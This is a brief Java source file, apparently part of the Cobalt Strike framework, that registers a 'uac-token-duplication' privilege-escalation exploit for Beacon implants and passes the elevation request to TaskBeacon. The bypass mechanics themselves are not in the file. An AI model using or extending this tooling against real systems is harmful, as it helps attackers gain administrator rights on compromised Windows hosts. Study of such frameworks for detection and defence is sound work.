package beacon.exploits;

import aggressor.AggressorClient;
import aggressor.DataUtils;
import beacon.BeaconExploits;
import beacon.TaskBeacon;

public class BypassUACToken implements BeaconExploits.Exploit {
    protected AggressorClient client;

    public BypassUACToken(AggressorClient aggressorClient) {
        this.client = aggressorClient;
        DataUtils.getBeaconExploits(aggressorClient.getData()).register("uac-token-duplication", "Bypass UAC with Token Duplication", this);
    }

    public void elevate(String string1, String string2) {
        TaskBeacon taskBeacon = new TaskBeacon(this.client, new String[]{string1});
        taskBeacon.BypassUACToken(string2);
    }
}
